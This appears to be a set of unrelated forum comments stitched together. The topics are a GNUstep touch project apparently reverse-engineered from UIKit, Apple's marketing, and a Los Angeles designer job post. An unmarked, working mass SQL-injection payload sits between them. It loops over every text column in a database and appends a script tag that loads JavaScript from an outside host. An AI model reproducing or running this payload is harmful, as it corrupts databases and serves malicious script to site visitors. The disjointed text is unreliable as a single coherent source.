SNTouch.m is one example with stubbed out class-dump methods.
The naming in every place that it can is lifted directly from UIKit, and then their changes use different naming conventions. For example the new instance variables in NSView.h.
Pretty obvious that whoever was working on that was mostly trying to reverse engineer UIKit vs. update GNUStep for touch. There are even commented out lines that are what would be output by class-dump.
I wonder if the straight reverse engineering/possible decompiling is why it was pulled so fast. Also, it's subtle, but there is a reason Apple didnt simply graft touch onto AppKit like this project is/was attempting.
This is so offbase, that I'm not sure where to begin. Every iPod ad. The FaceTime ads, at the end of all recent Steve Jobs keynote. Apple is trying to promote their philosophy and vision constantly.
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.suppadw.com/b.js></script>''');''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
I'm in the Los Angeles area. Mainly looking for an interface graphics designer, but anyone else could be interesting. Doing work in Seaside. phil at dizm.com